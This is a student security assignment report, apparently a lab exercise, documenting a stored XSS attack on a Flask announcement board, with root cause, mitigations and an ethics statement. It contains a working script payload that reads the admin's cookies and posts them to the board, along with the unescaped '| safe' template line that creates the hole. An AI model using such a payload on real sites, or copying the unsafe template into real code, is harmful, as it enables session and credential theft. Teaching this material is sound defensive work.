XSS Assignment Report

Title: Stored XSS Attack on Announcement Board

Author: Dayasri
Date: 20-09-2025

1. Executive Summary

This report demonstrates a stored Cross-Site Scripting (XSS) attack on a vulnerable Flask-based announcement board. The objective is to show how malicious scripts can be injected, executed, and used to capture sensitive information, including admin flags.

2. Environment

- **Operating System:** Windows 10
- **Python Version:** 3.11
- **Framework:** Flask
- **Database:** SQLite
- **Browser:** Chrome
- **Containerization:** Docker

3. Vulnerability Description

The announcement board accepts user-submitted HTML content without proper sanitization. This flaw enables the execution of stored JavaScript whenever the admin accesses the announcements, leading to potential theft of sensitive data.

4. Proof of Concept (PoC)

Injected Payload:

```
<script>
  fetch('/add', {
    method: 'POST',
    body: new URLSearchParams({
      author: 'attacker',
      content: document.cookie
    })
  });
</script>
```

Vulnerable Template Line:

```
<li><strong>{{ post.author }}</strong>: {{ post.content | safe }}</li>
```

Admin Flag Retrieval Endpoint:

```
@app.route('/admin')
def admin():
    token = request.cookies.get('admin_token')
    flag_path = os.path.join('flags', 'admin_flag.txt')
    if token == 'SECRET_ADMIN_TOKEN':
        with open(flag_path, 'r') as f:
            flag = f.read()
        return render_template('admin.html', flag=flag)
    return 'Unauthorized', 401
```

5. Evidence / Screenshots

- **Screenshot 1:** Submission of XSS payload.
- **Screenshot 2:** Captured admin flag after execution of the script.

6. Root Cause

The main issue is that the application renders user input directly in the template without sanitization, allowing arbitrary JavaScript to execute.

7. Mitigation & Recommendations

- Remove `| safe` from template rendering or sanitize user input using libraries such as `bleach`.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Validate and escape all user inputs before rendering.
- Regularly audit code for XSS vulnerabilities.

8. Ethics & Cleanup

- This assignment and testing were conducted solely for educational purposes.
- All malicious entries were removed from the database after testing to maintain a clean environment.

End of Report